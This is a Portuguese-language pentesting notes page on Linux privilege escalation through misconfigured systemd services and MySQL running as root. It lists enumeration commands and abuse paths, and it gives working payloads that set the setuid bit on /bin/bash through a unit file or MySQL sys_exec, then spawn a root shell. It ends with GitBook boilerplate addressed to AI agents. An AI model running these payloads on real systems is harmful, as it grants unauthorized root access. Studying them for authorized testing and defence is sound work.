> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/services.md).

# Serviços e Systemd

Más configurações de serviço tornam-se caminhos de escalada de privilégios quando um usuário com poucos privilégios pode editar um arquivo de serviço, substituir um binário do serviço, controlar os argumentos do serviço ou gravar em um diretório usado por um daemon executado como root.

## Metodologia

* Identifique serviços executados como root.
* Verifique os arquivos de unidade, `ExecStart` binários, arquivos de ambiente e diretórios de trabalho.
* Procure por arquivos de serviço graváveis ou binários graváveis usados por serviços habilitados.
* Confirme se você pode reiniciar o serviço, acioná-lo indiretamente ou aguardar uma reinicialização/temporizador.

## Verificações rápidas

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Arquivos de Serviço Graváveis

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Binários de Serviço Graváveis

Este loop verifica os serviços habilitados e destaca `ExecStart` caminhos que não parecem pertencer ao root. Trate a saída como triagem e depois valide manualmente.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Ideias de Exploração

| Condição                                           | Caminho de Abuso                                                                             |
| -------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| Gravável `ExecStart` binário                       | Substitua o binário por um payload e, em seguida, reinicie ou aguarde a execução do serviço. |
| Arquivo de unidade gravável                        | Altere `ExecStart` para executar um comando controlado.                                      |
| Arquivo de ambiente gravável                       | Injete opções ou caminhos consumidos pelo serviço.                                           |
| Diretório de trabalho gravável                     | Aproveite caminhos relativos, plugins, logs, sockets ou arquivos temporários.                |
| O serviço é executado como root e analisa arquivos | Verifique bugs no parser, injeção de comandos, includes inseguros e configuração gravável.   |

Exemplo de payload de unidade para um laboratório:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Recarregue e inicie somente quando você tiver permissão ou um caminho de teste autorizado confirmado:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL em Execução como root

Se o MySQL ou MariaDB estiverem sendo executados como root e a execução perigosa de UDF/funções estiver disponível, isso pode se tornar um caminho direto para root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Dentro do MySQL, dependendo dos plugins/funções disponíveis:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Então:

```bash
/bin/bash -p
```

Isso depende muito do ambiente. Confirme o usuário do daemon, a disponibilidade do plugin e os privilégios exatos do banco de dados antes de depender disso.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
